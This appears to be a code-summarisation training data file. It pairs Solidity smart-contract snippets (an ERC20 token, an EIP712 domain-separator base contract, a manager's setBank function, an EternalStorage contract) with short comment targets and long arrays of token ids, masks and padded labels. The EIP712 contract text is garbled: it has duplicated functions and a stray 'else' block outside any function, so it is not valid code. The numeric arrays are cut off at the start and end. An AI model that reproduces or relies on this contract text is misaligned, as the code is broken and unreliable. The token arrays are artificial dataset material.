1435,
4232,
39,
3462,
2932,
8328,
576,
512,
1303,
3113,
315,
42,
22,
41,
7923,
288,
203,
540,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
540,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
540,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
540,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
1666,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
2
] |
./full_match/3/0xBC10a19C64b376db7ACe4dc09C806be86ba871d3/sources/browser/transactionTest.sol | get the contract balance
| balanceOf=contractAdd.balance; | 14,154,008 | [
1,
588,
326,
6835,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
11013,
951,
33,
16351,
986,
18,
12296,
31,
4202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x91C986709Bb4fE0763edF8E2690EE9d5019Bea4a/sources/contracts/utils/BaseLibEIP712.sol | EIP-191 Header EIP712Domain EIP712Domain Separator | abstract contract BaseLibEIP712 {
string public constant EIP191_HEADER = "\x19\x01";
string public constant EIP712_DOMAIN_NAME = "Tokenlon";
string public constant EIP712_DOMAIN_VERSION = "v5";
bytes32 public immutable originalEIP712DomainSeparator;
uint256 public immutable originalChainId;
pragma solidity ^0.7.6;
constructor() {
originalEIP712DomainSeparator = _buildDomainSeparator();
originalChainId = getChainID();
}
function getChainID() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function getChainID() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function _buildDomainSeparator() private view returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(EIP712_DOMAIN_NAME)),
keccak256(bytes(EIP712_DOMAIN_VERSION)),
getChainID(),
address(this)
)
);
}
function _getDomainSeparator() private view returns (bytes32) {
if (getChainID() == originalChainId) {
return originalEIP712DomainSeparator;
return _buildDomainSeparator();
}
}
function _getDomainSeparator() private view returns (bytes32) {
if (getChainID() == originalChainId) {
return originalEIP712DomainSeparator;
return _buildDomainSeparator();
}
}
} else {
function getEIP712Hash(bytes32 structHash) internal view returns (bytes32) {
return keccak256(abi.encodePacked(EIP191_HEADER, _getDomainSeparator(), structHash));
}
function EIP712_DOMAIN_SEPARATOR() external view returns (bytes32) {
return _getDomainSeparator();
}
}
| 2,657,044 | [
1,
41,
2579,
17,
30380,
4304,
512,
2579,
27,
2138,
3748,
512,
2579,
27,
2138,
3748,
27519,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
3360,
5664,
41,
2579,
27,
2138,
288,
203,
565,
533,
1071,
5381,
512,
2579,
30380,
67,
7557,
273,
1548,
92,
3657,
64,
92,
1611,
14432,
203,
203,
565,
533,
1071,
5381,
512,
2579,
27,
2138,
67,
18192,
67,
1985,
273,
315,
1345,
9379,
14432,
203,
565,
533,
1071,
5381,
512,
2579,
27,
2138,
67,
18192,
67,
5757,
273,
315,
90,
25,
14432,
203,
203,
565,
1731,
1578,
1071,
11732,
2282,
41,
2579,
27,
2138,
3748,
6581,
31,
203,
565,
2254,
5034,
1071,
11732,
2282,
3893,
548,
31,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
27,
18,
26,
31,
203,
565,
3885,
1435,
288,
203,
3639,
2282,
41,
2579,
27,
2138,
3748,
6581,
273,
389,
3510,
3748,
6581,
5621,
203,
3639,
2282,
3893,
548,
273,
30170,
734,
5621,
203,
565,
289,
203,
203,
565,
445,
30170,
734,
1435,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
2687,
548,
31,
203,
3639,
19931,
288,
203,
5411,
2687,
548,
519,
2687,
350,
1435,
203,
3639,
289,
203,
3639,
327,
2687,
548,
31,
203,
565,
289,
203,
203,
565,
445,
30170,
734,
1435,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
2687,
548,
31,
203,
3639,
19931,
288,
203,
5411,
2687,
548,
519,
2687,
350,
1435,
203,
3639,
289,
203,
3639,
327,
2687,
548,
31,
203,
565,
289,
203,
203,
565,
445,
389,
3510,
3748,
6581,
1435,
3238,
1476,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
203,
5411,
417,
24410,
581,
5034,
12,
203,
2
] |
./full_match/43114/0xFB288999e57DA77de3832D425816F87856DC40B9/sources/_ohfinance/oh-contracts/contracts/manager/OhManager.sol | @notice Adds or removes a Bank for investment @dev Only Governance can call this function @param _bank the bank to be approved/unapproved @param _approved the approval status of the bank if Bank is already approved, withdraw all capital | function setBank(address _bank, bool _approved) external onlyGovernance {
require(_bank.isContract(), "Manager: Not Contract");
bool approved = _banks.contains(_bank);
require(approved != _approved, "Manager: No Change");
if (approved) {
exitAll(_bank);
_banks.remove(_bank);
_banks.add(_bank);
}
}
| 4,594,943 | [
1,
3655,
578,
7157,
279,
25610,
364,
2198,
395,
475,
225,
5098,
611,
1643,
82,
1359,
848,
745,
333,
445,
225,
389,
10546,
326,
11218,
358,
506,
20412,
19,
318,
25990,
225,
389,
25990,
326,
23556,
1267,
434,
326,
11218,
309,
25610,
353,
1818,
20412,
16,
598,
9446,
777,
12872,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
15268,
2304,
12,
2867,
389,
10546,
16,
1426,
389,
25990,
13,
3903,
1338,
43,
1643,
82,
1359,
288,
203,
3639,
2583,
24899,
10546,
18,
291,
8924,
9334,
315,
1318,
30,
2288,
13456,
8863,
203,
3639,
1426,
20412,
273,
389,
10546,
87,
18,
12298,
24899,
10546,
1769,
203,
3639,
2583,
12,
25990,
480,
389,
25990,
16,
315,
1318,
30,
2631,
7576,
8863,
203,
203,
3639,
309,
261,
25990,
13,
288,
203,
5411,
2427,
1595,
24899,
10546,
1769,
203,
5411,
389,
10546,
87,
18,
4479,
24899,
10546,
1769,
203,
5411,
389,
10546,
87,
18,
1289,
24899,
10546,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
contract ERC20_Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract ERC20_ReceivingInterface {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SoraToken is ERC20_Interface, Ownable, SafeMath {
string public constant symbol = "XOR";
string public constant name = "Sora";
uint8 public constant decimals = 18;
uint256 internal constant _totalSupply = 161803398874989484820458683437;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
function totalSupply() public constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function SoraToken() public {
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function() public payable {
revert();
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
balances[from] = sub(balances[from], tokens);
allowed[from][msg.sender] = sub(allowed[from][msg.sender], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ERC20_ReceivingInterface(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20_Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = sub(balances[msg.sender], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
} | ------------------------------------------------------------------------ Owner can transfer out any accidentally sent ERC20 tokens ------------------------------------------------------------------------ | function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20_Interface(tokenAddress).transfer(owner, tokens);
}
| 6,893,026 | [
1,
29461,
16837,
848,
7412,
596,
1281,
25961,
1230,
3271,
4232,
39,
3462,
2430,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
2961,
654,
39,
3462,
1345,
12,
2867,
1147,
1887,
16,
2254,
5034,
2430,
13,
1071,
1338,
5541,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
327,
4232,
39,
3462,
67,
1358,
12,
2316,
1887,
2934,
13866,
12,
8443,
16,
2430,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
/**
* @title EternalStorage
* @dev An ownable contract that can be used as a storage where the variables
* are stored in a set of mappings indexed by hash names.
* Contract importing following the guidelines in the zeppelinos upgreadability
* contracts post:
* https://github.com/zeppelinos/labs/tree/ff479995ed90c4dbb5e32294fa95b16a22bb99c8/upgradeability_using_eternal_storage
*
*/
contract EternalStorage is Ownable {
struct Storage {
mapping(bytes32 => bytes) _bytes;
mapping(bytes32 => bool) _bool;
mapping(bytes32 => int) _int;
mapping(bytes32 => uint256) _uint;
mapping(bytes32 => address) _address;
mapping(bytes32 => string) _string;
}
Storage internal s;
/**
* @dev The constructor sets the original `owner` of the
* contract to the sender account.
*/
constructor() public {
Ownable(msg.sender);
}
/**
* @dev Allows the owner to set a value for a boolean variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setBoolean(bytes32 h, bool v) external onlyOwner {
s._bool[h] = v;
}
/**
* @dev Allows the owner to set a value for a int variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setInt(bytes32 h, int v) external onlyOwner {
s._int[h] = v;
}
/**
* @dev Allows the owner to set a value for a boolean variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setUint(bytes32 h, uint256 v) external onlyOwner {
s._uint[h] = v;
}
/**
* @dev Allows the owner to set a value for a address variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setAddress(bytes32 h, address v) external onlyOwner {
s._address[h] = v;
}
/**
* @dev Allows the owner to set a value for a string variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setString(bytes32 h, string memory v) public onlyOwner {
s._string[h] = v;
}
/**
* @dev Allows the owner to set a value for a bytes variable.
* @param h The keccak256 hash of the variable name
* @param v The value to be stored
*/
function setBytes(bytes32 h, bytes memory v) public onlyOwner {
s._bytes[h] = v;
}
/**
* @dev Get the value stored of a boolean variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getBoolean(bytes32 h) external view onlyOwner returns (bool){
return s._bool[h];
}
/**
* @dev Get the value stored of a int variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getInt(bytes32 h) external view onlyOwner returns (int){
return s._int[h];
}
/**
* @dev Get the value stored of a uint variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getUint(bytes32 h) external view onlyOwner returns (uint256){
return s._uint[h];
}
/**
* @dev Get the value stored of a address variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getAddress(bytes32 h) external view onlyOwner returns (address){
return s._address[h];
}
/**
* @dev Get the value stored of a string variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getString(bytes32 h) external view onlyOwner returns (string memory){
return s._string[h];
}
/**
* @dev Get the value stored of a bytes variable by the hash name
* @param h The keccak256 hash of the variable name
*/
function getBytes(bytes32 h) external view onlyOwner returns (bytes memory){
return s._bytes[h];
}
/**** Delete Methods ***********/
/// @param _key The key for the record
function deleteAddress(bytes32 _key) external onlyOwner {
delete s._address[_key];
}
/// @param _key The key for the record
function deleteUint(bytes32 _key) external onlyOwner {
delete s._uint[_key];
}
/// @param _key The key for the record
function deleteString(bytes32 _key) external onlyOwner {
delete s._string[_key];
}
/// @param _key The key for the record
function deleteBytes(bytes32 _key) external onlyOwner {
delete s._bytes[_key];
}
/// @param _key The key for the record
function deleteBool(bytes32 _key) external onlyOwner {
delete s._bool[_key];
}
/// @param _key The key for the record
function deleteInt(bytes32 _key) external onlyOwner {
delete s._int[_key];
}
} | * @dev Allows the owner to set a value for a string variable. @param h The keccak256 hash of the variable name @param v The value to be stored/ | function setString(bytes32 h, string memory v) public onlyOwner {
s._string[h] = v;
}
| 12,731,445 | [
1,
19132,
326,
3410,
358,
444,
279,
460,
364,
279,
533,
2190,
18,
225,
366,
1021,
417,
24410,
581,
5034,
1651,
434,
326,
2190,
508,
225,
331,
1021,
460,
358,
506,
4041,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14600,
12,
3890,
1578,
366,
16,
533,
3778,
331,
13,
1071,
1338,
5541,
288,
203,
3639,
272,
6315,
1080,
63,
76,
65,
273,
331,
